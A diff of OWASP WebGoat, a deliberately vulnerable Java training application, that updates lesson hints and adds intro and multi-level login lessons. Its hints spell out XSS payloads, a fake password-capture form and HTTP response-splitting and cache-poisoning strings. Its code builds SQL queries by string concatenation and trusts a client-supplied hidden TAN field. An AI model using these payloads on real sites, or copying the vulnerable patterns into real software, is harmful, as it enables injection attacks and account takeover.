HttpServletRequest request = s.getRequest();
|
||||
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
|
||||
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
|
||||
@ -129,6 +129,7 @@ public class UpdateProfile extends DefaultLessonAction
|
||||
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
|
||||
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
|
||||
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
|
||||
|
||||
|
||||
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
|
||||
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
|
||||
|
@ -4,14 +4,20 @@ package org.owasp.webgoat.lessons.CrossSiteScripting;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.Statement;
|
||||
|
||||
import org.apache.ecs.xhtml.html;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
|
||||
import org.owasp.webgoat.session.Employee;
|
||||
import org.owasp.webgoat.session.ParameterNotFoundException;
|
||||
import org.owasp.webgoat.session.ParameterParser;
|
||||
import org.owasp.webgoat.session.UnauthenticatedException;
|
||||
import org.owasp.webgoat.session.UnauthorizedException;
|
||||
import org.owasp.webgoat.session.ValidationException;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.util.HtmlEncoder;
|
||||
|
||||
import com.sun.corba.se.spi.activation.Server;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
@ -86,11 +92,11 @@ public class ViewProfile extends DefaultLessonAction
|
||||
{
|
||||
Employee profile = null;
|
||||
|
||||
|
||||
// Query the database for the profile data of the given employee
|
||||
try
|
||||
{
|
||||
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
|
||||
|
||||
try
|
||||
{
|
||||
Statement answer_statement = WebSession.getConnection(s)
|
||||
@ -98,11 +104,12 @@ public class ViewProfile extends DefaultLessonAction
|
||||
ResultSet answer_results = answer_statement.executeQuery(query);
|
||||
if (answer_results.next())
|
||||
{
|
||||
|
||||
// Note: Do NOT get the password field.
|
||||
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
|
||||
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
|
||||
.getString("title"), answer_results.getString("phone"), answer_results
|
||||
.getString("address1"), answer_results.getString("address2"), answer_results
|
||||
.getString("title"), answer_results.getString("phone"),
|
||||
answer_results.getString("address1"), answer_results.getString("address2"), answer_results
|
||||
.getInt("manager"), answer_results.getString("start_date"), answer_results
|
||||
.getInt("salary"), answer_results.getString("ccn"), answer_results
|
||||
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
|
||||
@ -124,13 +131,14 @@ public class ViewProfile extends DefaultLessonAction
|
||||
|
||||
return profile;
|
||||
}
|
||||
|
||||
|
||||
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
|
||||
{
|
||||
// Query the database to determine if this employee has access to this function
|
||||
// Query the database for the profile data of the given employee if "owned" by the given
|
||||
// user
|
||||
|
||||
|
||||
Employee profile = null;
|
||||
|
||||
// Query the database for the profile data of the given employee
|
||||
@ -154,6 +162,8 @@ public class ViewProfile extends DefaultLessonAction
|
||||
.getInt("salary"), answer_results.getString("ccn"), answer_results
|
||||
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
|
||||
.getString("disciplined_notes"), answer_results.getString("personal_description"));
|
||||
|
||||
|
||||
/*
|
||||
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
|
||||
* profile.getLastName() + " (" + profile.getId() + ")");
|
||||
|
@ -124,7 +124,8 @@ public class DBCrossSiteScripting extends GoatHillsFinancial
|
||||
String stage = getStage(s);
|
||||
if (STAGE1.equals(stage))
|
||||
{
|
||||
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
|
||||
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br><br>"+
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
|
||||
+ "Verify that 'Jerry' is affected by the attack. "
|
||||
+ "A sample JavaScript snippet you can use is: <SCRIPT>alert('bang!');</SCRIPT>.";
|
||||
|
@ -179,17 +179,17 @@ public class DOMXSS extends SequentialLessonAdapter
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
|
||||
hints.add("Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>");
|
||||
hints.add("Stage 1: Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>");
|
||||
|
||||
hints.add("Try entering the following: " + "<img src=x onerror=;;alert('XSS') />");
|
||||
hints.add("Stage 2: Try entering the following: " + "<img src=x onerror=;;alert('XSS') />");
|
||||
|
||||
hints.add("Try entering the following: " + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
|
||||
hints.add("Stage 3: Try entering the following: " + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
|
||||
|
||||
hints
|
||||
.add("Try entering the following: "
|
||||
hints.add("Stage 4: Try entering the following: "
|
||||
+ "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button "
|
||||
+ "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>");
|
||||
|
||||
hints.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version).");
|
||||
// Attack Strings:
|
||||
|
||||
// <IMG SRC="images/logos/owasp.jpg"/>
|
||||
@ -257,7 +257,7 @@ public class DOMXSS extends SequentialLessonAdapter
|
||||
}
|
||||
else if (getLessonTracker(s).getStage() == 5)
|
||||
{
|
||||
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
|
||||
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in escape.js.";
|
||||
}
|
||||
return (instructions);
|
||||
}
|
||||
|
@ -87,7 +87,8 @@ public class DangerousEval extends LessonAdapter
|
||||
float runningTotal = 0.0f;
|
||||
|
||||
// FIXME: encode output of field2, then s.setMessage( field2 );
|
||||
ec.addElement("<script src=\"javascript/eval.js\"/>");
|
||||
ec.addElement("<script src='javascript/eval.js'> </script>");
|
||||
//<script src='javascript/sameOrigin.js' language='JavaScript'></script>
|
||||
ec.addElement(new HR().setWidth("90%"));
|
||||
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
|
||||
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
|
||||
@ -202,6 +203,7 @@ public class DangerousEval extends LessonAdapter
|
||||
ec.addElement(t);
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new HR().setWidth("90%"));
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
|
@ -266,7 +266,7 @@ public class Encoding extends LessonAdapter
|
||||
|
||||
description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security.";
|
||||
|
||||
t.addElement(makeRow(description, rot13(userInput), rot13(userInput)));
|
||||
t.addElement(makeRow(description, rot13(userInput), userInput));
|
||||
|
||||
description = "XOR with password encoding is a weak encryption scheme that mixes a password into data.";
|
||||
|
||||
@ -575,7 +575,7 @@ public class Encoding extends LessonAdapter
|
||||
System.out.print("Hex encoding: ");
|
||||
System.out.println(hexEncode(userInput) + " : " + hexDecode(userInput));
|
||||
System.out.print("Rot13 encoding: ");
|
||||
System.out.println(rot13(userInput) + " : " + rot13(userInput));
|
||||
System.out.println(rot13(userInput) + " : " + userInput);
|
||||
System.out.print("XOR with password: ");
|
||||
System.out.println(xorEncode(userInput, userKey) + " : " + xorDecode(userInput, userKey));
|
||||
System.out.print("Double unicode encoding is...");
|
||||
|
@ -0,0 +1,89 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2007 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Reto Lippuner, Marcel Wirth
|
||||
* @created April 4, 2008
|
||||
*/
|
||||
public class HowToWork extends LessonAdapter
|
||||
{
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
makeSuccess(s);
|
||||
ElementContainer ec = new ElementContainer();
|
||||
ec.addElement(new StringElement("Welcome to WebGoat !!"));
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the HowToWork object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.INTRODUCTION;
|
||||
}
|
||||
|
||||
private final static Integer DEFAULT_RANKING = new Integer(10);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the DirectoryScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("How to work with Webgoat");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
|
||||
}
|
||||
|
||||
}
|
@ -108,7 +108,7 @@ public class HtmlClues extends LessonAdapter
|
||||
makeSuccess(s);
|
||||
|
||||
s.setMessage("BINGO -- admin authenticated");
|
||||
ec.addElement(makeUser(s, "jsnow", "CREDENTIALS"));
|
||||
ec.addElement(makeUser(s, "admin", "CREDENTIALS"));
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -92,7 +92,7 @@ public class HttpBasics extends LessonAdapter
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Type in your name and press 'go'");
|
||||
hints.add("Turn on Show Parameters or other features");
|
||||
hints.add("Try to intercept the request with WebScarab");
|
||||
hints.add("Press the Show Lesson Plan button to view a lesson summary");
|
||||
hints.add("Press the Show Solution button to view a lesson solution");
|
||||
|
||||
|
@ -224,19 +224,19 @@ public class HttpSplitting extends SequentialLessonAdapter
|
||||
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Enter a language for the system to search by.");
|
||||
hints.add("Use CR (%0d) and LF (%0a) for a new line");
|
||||
hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux.");
|
||||
hints.add("The Content-Length: 0 will tell the server that the first request is over.");
|
||||
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
|
||||
hints
|
||||
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
|
||||
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/> Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
|
||||
hints
|
||||
.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
|
||||
hints
|
||||
.add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
|
||||
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
|
||||
hints
|
||||
.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
|
||||
hints
|
||||
.add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
|
||||
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
|
||||
return hints;
|
||||
|
||||
}
|
||||
|
@ -32,7 +32,6 @@ import org.owasp.webgoat.session.WebSession;
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
|
@ -0,0 +1,703 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.A;
|
||||
import org.apache.ecs.html.BR;
|
||||
import org.apache.ecs.html.Div;
|
||||
import org.apache.ecs.html.H1;
|
||||
import org.apache.ecs.html.H2;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.apache.ecs.xhtml.style;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
/***************************************************************************************************
|
||||
*
|
||||
*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2007 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Reto Lippuner, Marcel Wirth
|
||||
* @created April 7, 2008
|
||||
*/
|
||||
|
||||
public class MultiLevelLogin1 extends SequentialLessonAdapter
|
||||
{
|
||||
private boolean loggedIn = false;
|
||||
private boolean correctTan = false;
|
||||
private String LoggedInUser = "";
|
||||
|
||||
private final static String USER = "user";
|
||||
private final static String PASSWORD = "pass";
|
||||
private final static String HIDDEN_TAN = "hidden_tan";
|
||||
private final static String TAN = "tan";
|
||||
|
||||
/**
|
||||
* Creates Staged WebContent
|
||||
*
|
||||
* @param s
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
return super.createStagedContent(s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Creation of the main content
|
||||
*
|
||||
* @param s
|
||||
* @return Element
|
||||
*/
|
||||
protected Element createMainContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
try
|
||||
{
|
||||
style sty = new style();
|
||||
|
||||
sty
|
||||
.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
|
||||
ec.addElement(sty);
|
||||
|
||||
Div wrapperDiv = new Div();
|
||||
wrapperDiv.setID("lesson_wrapper");
|
||||
|
||||
Div headerDiv = new Div();
|
||||
headerDiv.setID("lesson_header");
|
||||
|
||||
Div workspaceDiv = new Div();
|
||||
workspaceDiv.setClass("lesson_workspace");
|
||||
|
||||
wrapperDiv.addElement(headerDiv);
|
||||
wrapperDiv.addElement(workspaceDiv);
|
||||
|
||||
ec.addElement(wrapperDiv);
|
||||
|
||||
workspaceDiv.addElement(createWorkspaceContent(s));
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Creation of the content of the workspace
|
||||
*
|
||||
* @param s
|
||||
* @return Element
|
||||
*/
|
||||
private Element createWorkspaceContent(WebSession s)
|
||||
{
|
||||
String user = "";
|
||||
user = s.getParser().getStringParameter(USER, "");
|
||||
String password = "";
|
||||
password = s.getParser().getStringParameter(PASSWORD, "");
|
||||
String tan = "";
|
||||
tan = s.getParser().getStringParameter(TAN, "");
|
||||
String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, "");
|
||||
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
// verify that tan is correct and user is logged in
|
||||
if (loggedIn && correctTan(LoggedInUser, tan, hiddenTan, s))
|
||||
{
|
||||
correctTan = true;
|
||||
}
|
||||
// user is loggedIn but enters wrong tan
|
||||
else if (loggedIn && !correctTan(LoggedInUser, tan, hiddenTan, s))
|
||||
{
|
||||
loggedIn = false;
|
||||
}
|
||||
|
||||
// verify the password
|
||||
if (correctLogin(user, password, s))
|
||||
{
|
||||
loggedIn = true;
|
||||
LoggedInUser = user;
|
||||
}
|
||||
|
||||
// if restart link is clicked owe have to reset log in
|
||||
if (!s.getParser().getStringParameter("Restart", "").equals(""))
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
resetTans(s);
|
||||
}
|
||||
// Logout Button is pressed
|
||||
if (s.getParser().getRawParameter("logout", "").equals("true"))
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
|
||||
}
|
||||
if (loggedIn && correctTan)
|
||||
{
|
||||
loggedIn = false;
|
||||
correctTan = false;
|
||||
|
||||
createSuccessfulLoginContent(s, ec);
|
||||
if (getLessonTracker(s).getStage() == 2)
|
||||
{
|
||||
if (hiddenTan.equals("1"))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
getLessonTracker(s).setStage(2);
|
||||
s.setMessage("Stage 1 completed.");
|
||||
}
|
||||
}
|
||||
|
||||
else if (loggedIn)
|
||||
{
|
||||
int tanNr = getTanPosition(LoggedInUser, s);
|
||||
if (tanNr == 0)
|
||||
{
|
||||
createNoTanLeftContent(ec);
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
createAskForTanContent(s, ec, tanNr);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
String errorMessage = "";
|
||||
|
||||
if (!(user + password).equals(""))
|
||||
{
|
||||
errorMessage = "Login failed! Make sure " + "that user name and password is correct.";
|
||||
}
|
||||
else if (!tan.equals(""))
|
||||
{
|
||||
errorMessage = "Login failed. Tan is " + "incorrect.";
|
||||
}
|
||||
|
||||
createLogInContent(ec, errorMessage);
|
||||
}
|
||||
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content for logging in
|
||||
*
|
||||
* @param ec
|
||||
*/
|
||||
private void createLogInContent(ElementContainer ec, String errorMessage)
|
||||
{
|
||||
Div loginDiv = new Div();
|
||||
loginDiv.setID("lesson_login");
|
||||
|
||||
Table table = new Table();
|
||||
// table.setStyle(tableStyle);
|
||||
table.addAttribute("align='center'", 0);
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
td1.addElement(new StringElement("Enter your name: "));
|
||||
td2.addElement(new Input(Input.TEXT, USER));
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
TD td4 = new TD();
|
||||
td3.addElement(new StringElement("Enter your password: "));
|
||||
td4.addElement(new Input(Input.PASSWORD, PASSWORD));
|
||||
tr2.addElement(td3);
|
||||
tr2.addElement(td4);
|
||||
|
||||
TR tr3 = new TR();
|
||||
TD td5 = new TD();
|
||||
td5.setColSpan(2);
|
||||
td5.setAlign("center");
|
||||
|
||||
td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
|
||||
tr3.addElement(td5);
|
||||
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
loginDiv.addElement(table);
|
||||
ec.addElement(loginDiv);
|
||||
|
||||
H2 errorTag = new H2(errorMessage);
|
||||
errorTag.addAttribute("align", "center");
|
||||
errorTag.addAttribute("class", "info");
|
||||
ec.addElement(errorTag);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content in which the tan is asked
|
||||
*
|
||||
* @param s
|
||||
* @param ec
|
||||
* @param tanNr
|
||||
*/
|
||||
private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr)
|
||||
{
|
||||
|
||||
Div loginDiv = new Div();
|
||||
loginDiv.setID("lesson_login");
|
||||
|
||||
Table table = new Table();
|
||||
table.addAttribute("align='center'", 0);
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
td1.addElement(new StringElement("Enter TAN #" + tanNr + ": "));
|
||||
td2.addElement(new Input(Input.TEXT, TAN));
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
td3.setColSpan(2);
|
||||
td3.setAlign("center");
|
||||
|
||||
td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
|
||||
tr2.addElement(td3);
|
||||
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
|
||||
ec.addElement(new Input(Input.HIDDEN, HIDDEN_TAN, tanNr));
|
||||
loginDiv.addElement(table);
|
||||
ec.addElement(loginDiv);
|
||||
ec.addElement(createLogoutLink());
|
||||
|
||||
updateTan(LoggedInUser, s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content if there is no tan left
|
||||
*
|
||||
* @param ec
|
||||
*/
|
||||
private void createNoTanLeftContent(ElementContainer ec)
|
||||
{
|
||||
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
H1 h = new H1("<center>No tan is left! Please contact the admin. </center>");
|
||||
ec.addElement(h);
|
||||
ec.addElement(createLogoutLink());
|
||||
}
|
||||
|
||||
/**
|
||||
* Create content after a successful login
|
||||
*
|
||||
* @param s
|
||||
* @param ec
|
||||
*/
|
||||
private void createSuccessfulLoginContent(WebSession s, ElementContainer ec)
|
||||
{
|
||||
|
||||
String userDataStyle = "margin-top:50px;";
|
||||
|
||||
Div userDataDiv = new Div();
|
||||
userDataDiv.setStyle(userDataStyle);
|
||||
userDataDiv.addAttribute("align", "center");
|
||||
Table table = new Table();
|
||||
table.addAttribute("cellspacing", 10);
|
||||
table.addAttribute("cellpadding", 5);
|
||||
|
||||
table.addAttribute("align", "center");
|
||||
TR tr1 = new TR();
|
||||
TR tr2 = new TR();
|
||||
TR tr3 = new TR();
|
||||
TR tr4 = new TR();
|
||||
tr1.addElement(new TD("<b>Firstname:</b>"));
|
||||
tr1.addElement(new TD(LoggedInUser));
|
||||
|
||||
try
|
||||
{
|
||||
ResultSet results = getUser(LoggedInUser, s);
|
||||
results.first();
|
||||
|
||||
tr2.addElement(new TD("<b>Lastname:</b>"));
|
||||
tr2.addElement(new TD(results.getString("last_name")));
|
||||
|
||||
tr3.addElement(new TD("<b>Credit Card Type:</b>"));
|
||||
tr3.addElement(new TD(results.getString("cc_type")));
|
||||
|
||||
tr4.addElement(new TD("<b>Credit Card Number:</b>"));
|
||||
tr4.addElement(new TD(results.getString("cc_number")));
|
||||
|
||||
}
|
||||
|
||||
catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
table.addElement(tr4);
|
||||
|
||||
userDataDiv.addElement(table);
|
||||
ec.addElement(userDataDiv);
|
||||
ec.addElement(createLogoutLink());
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a link for logging out
|
||||
*
|
||||
* @return Element
|
||||
*/
|
||||
private Element createLogoutLink()
|
||||
{
|
||||
A logoutLink = new A();
|
||||
logoutLink.addAttribute("href", getLink() + "&logout=true");
|
||||
logoutLink.addElement("Logout");
|
||||
|
||||
String logoutStyle = "margin-right:50px; mrgin-top:30px";
|
||||
Div logoutDiv = new Div();
|
||||
logoutDiv.addAttribute("align", "right");
|
||||
logoutDiv.addElement(logoutLink);
|
||||
logoutDiv.setStyle(logoutStyle);
|
||||
|
||||
return logoutDiv;
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the tan. Every tan should be used only once.
|
||||
*
|
||||
* @param user
|
||||
* @param s
|
||||
*/
|
||||
private void updateTan(String user, WebSession s)
|
||||
{
|
||||
int tanNr = getTanPosition(user, s);
|
||||
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.setInt(1, tanNr);
|
||||
prepStatement.setString(2, user);
|
||||
prepStatement.execute();
|
||||
|
||||
} catch (Exception e)
|
||||
{
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* If lesson is reseted the tans should be resetted too
|
||||
*
|
||||
* @param s
|
||||
*/
|
||||
private void resetTans(WebSession s)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Connection connection = DatabaseUtilities.getConnection(s);
|
||||
String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0";
|
||||
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
ResultSet.CONCUR_READ_ONLY);
|
||||
prepStatement.execute();
|
||||
